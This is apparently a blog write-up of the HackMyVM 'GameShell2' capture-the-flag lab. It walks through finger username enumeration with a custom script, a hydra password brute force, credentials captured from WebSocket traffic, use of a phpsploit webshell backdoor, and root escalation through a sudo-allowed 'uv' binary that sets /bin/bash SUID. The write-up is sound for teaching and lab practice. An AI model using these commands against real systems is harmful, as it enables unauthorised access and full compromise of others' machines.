Hey everyone, today we are solving the gameshell2 challenge from HackmyVM. You can download the .ova file and start the VM using oracle virtualbox. Let’s get started!!
Enumeration
First I conducted a Nmap Scan and there were 3 ports open
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
| 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
79/tcp open finger syn-ack ttl 63 OpenBSD fingerd (ported to Linux)
| finger: \\x0D
| Welcome to Linux version 4.19.0-27-amd64 at GameShell2 !\\x0D
|
| 23:08:33 up 3 min, 0 users, load average: 0.06, 0.05, 0.01
| \\x0D
|_No one logged on.\\x0D
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.62 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: \\xE7\\xBA\\xAF\\xE8\\xA7\\xA6\\xE5\\xB1\\x8F\\xE6\\xA1\\x8C\\xE7\\x90\\x83
|_http-server-header: Apache/2.4.62 (Debian)
| http-robots.txt: 1 disallowed entry
|_/ternimal/
Service Info: Host: GameShell2; OSs: Linux, Linux 4.19.0-27-amd64; CPE: cpe:/o:linux:linux_kernel, cpe:/o:linux:linux_kernel:4.19.0-27-amd64The finger
service got my attention. Quick search revealed that we can enumerate
usernames from the service. It’s a very old protocol used to get the
status of the users, like who is logged on, what shell do they use and
so on.
I tried some default wordlists to enumerate the usernames but no luck, Spent around 30 minutes looking for wordlists, ended in a moot point. I thought of keeping the finger protocol aside and started looking at port 80 (webserver).
Press enter or click to view image in full size

It
was a billiards table, where we have to hit the object balls with the
striker, in three chances. It’s a way to stall you, just move on. Gobuster revealed some interesting things.
gautham@GauthamGamer:~/ctf/vulnhub/gameshell2$ gobuster dir -u <http://192.168.56.104/> -w ~/Downloads/wordlists/combined_subdomain.txt -x html,js,php,bak,zip,txt
/users.html (Status: 200) [Size: 2052]
/index.html (Status: 200) [Size: 14134]
/terminal (Status: 401) [Size: 461]
/robots.txt (Status: 200) [Size: 35]Webserver Enumeration
Checking robots.txt file
Robots.txt file reveals that an endpoint /ternimal
is not allowed. It’s a typo, it actually meant terminal. Visiting that
endpoint prompted us with a username and password. At this point, we
have nothing.
User Enumeration:
Remember we found users.html
in gobuster scan? Going into that revealed some usernames. All the
usernames were not the regular ones. Now we understand why the default
wordlist failed. Now that we have a users list, I thought of getting
back to finger and resuming my search.
For this purpose, I wrote myself a bash script, which worked like charm.
!#/bin/bashTARGET="192.168.56.104"
WORDLIST="finger_users.txt"
OUT="out.txt"# reset output
> "$OUT"while read -r user; do
[ -z "$user" ] && continue echo "===== $user =====" >> "$OUT" # timeout prevents hangs
output=$(timeout 3 finger "$user@$TARGET" 2>/dev/null) if [ -z "$output" ]; then
echo "[no response]" >> "$OUT"
else
echo "$output" >> "$OUT"
fi # rate limit (VERY IMPORTANT)
sleep 0.2
done < "$WORDLIST"echo "[+] Done"
We found 2 interesting usernames:
- dt
- lp
Since these are the 2 users available, I put them in users.txt and went back to the webserver.
Initial Access
Using the users.txt, I brute forced the login form, and we got in.
gautham@GauthamGamer:~/ctf/vulnhub/gameshell2$ hydra -L users.txt -P ~/Downloads/wordlists/rockyou.txt 192.168.56.104 http-get /terminal -t 4 -f -I
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (<https://github.com/vanhauser-thc/thc-hydra>) starting at 2026-01-24 10:53:50
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 28688796 login tries (l:2/p:14344398), ~7172199 tries per task
[DATA] attacking http-get://192.168.56.104:80/terminal
[80][http-get] host: 192.168.56.104 login: dt password: redactedGoing inside, we have a snake game, in which we have to score 15 points. In a hacker’s perspective, the game is sending websocket traffic, and we have to monitor them. Firefox Devtools came in handy for this purpose. Inspecting the WebSocket frames in Firefox DevTools revealed a plaintext credential being sent after reaching a score of 15.
Getting a Shell
SSH into dt with password we obtained, we have a shell. We can find user.txt in the home directory and another directory called phpsploit.
Get GauthamV’s stories in your inbox
Join Medium for free to get updates from this writer.
Another thing to note here is that cd is restricted, which made this challenge a little annoying. We can only use ls to move around the system.
Privilege Escalation
After some enumeration, I realised that usual privesc methods are gonna fail. So I started looking at the phpsploit directory in the home. When I looked at the processes running, there was an apache server running. I looked at the /etc/hosts file and it revealed something:
dt@GameShell2:~$ cat /etc/hosts
127.0.0.1 localhost astra.dsz dev.astra.dsz
127.0.1.1 GameShell2I added the IP to my local /etc/hosts
file and went to the domain. It said the site was under construction.
In the source code, it said backdoor was active. I connected the dots.
Googling phpsploit lead us to this repository.
https://github.com/nil0x42/phpsploit
This is a webshell based C2 an attacker can use to maintain persistence and access to the target system. I understood that a backdoor as been uploaded and with that we have to get a webshell. Here is the twist:
We dont know the name of the backdoor, so i had to use gobuster again.
Gobuster revealed that there is a endpoint named backdoor.php.
I installed phpsploit in my local machine and ran it. Set the target to
http://<IP>/backdoor.php and exploit. We have a shell as www-data .
Running sudo -l gaves us this:
phpsploit(dev.astra.dsz) > run sudo -l
Matching Defaults entries for www-data on GameShell2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser www-data may run the following commands on GameShell2:
(ALL) NOPASSWD: /usr/local/bin/uv
Google didn’t reveal much, but taking a look at the help section did. We can run commands using this uv.
Obtaining root
Running the uv binary and tested if it worked, and yes it did!!!
phpsploit(dev.astra.dsz) > run sudo /usr/local/bin/uv run id
uid=0(root) gid=0(root) groups=0(root)
phpsploit(dev.astra.dsz) > run sudo /usr/local/bin/uv run chmod u+s /bin/bashNow we have bash as SUID. Going to the dt shell, I ran this:
-bash-5.0$ /bin/bash -p
bash-5.0
bash-5.0
flag{root-redacted}Attack Chain Summary
- - finger (79) → custom username enumeration
- Web server (80) → /users.html leaks valid usernames
- HTTP Basic Auth → brute forced credentials (dt)
- WebSocket traffic → credential disclosure
- SSH access → restricted shell
- phpsploit backdoor → webshell as www-data
- sudo misconfiguration (uv) → privilege escalation to root
GameShell2 was a fun and instructive challenge that rewarded methodical enumeration and the ability to chain small weaknesses together. While none of the individual issues were overly complex, the real challenge lay in recognizing how legacy services, web behavior, and misconfigurations could be combined to achieve full compromise.
Thanks for sticking around till the end — I hope you enjoyed the read and maybe learned something new along the way! Got thoughts, questions, or just want to say hi? Feel free to reach out — I’d love to hear from you.
See you in the next one. Until then, peace folks!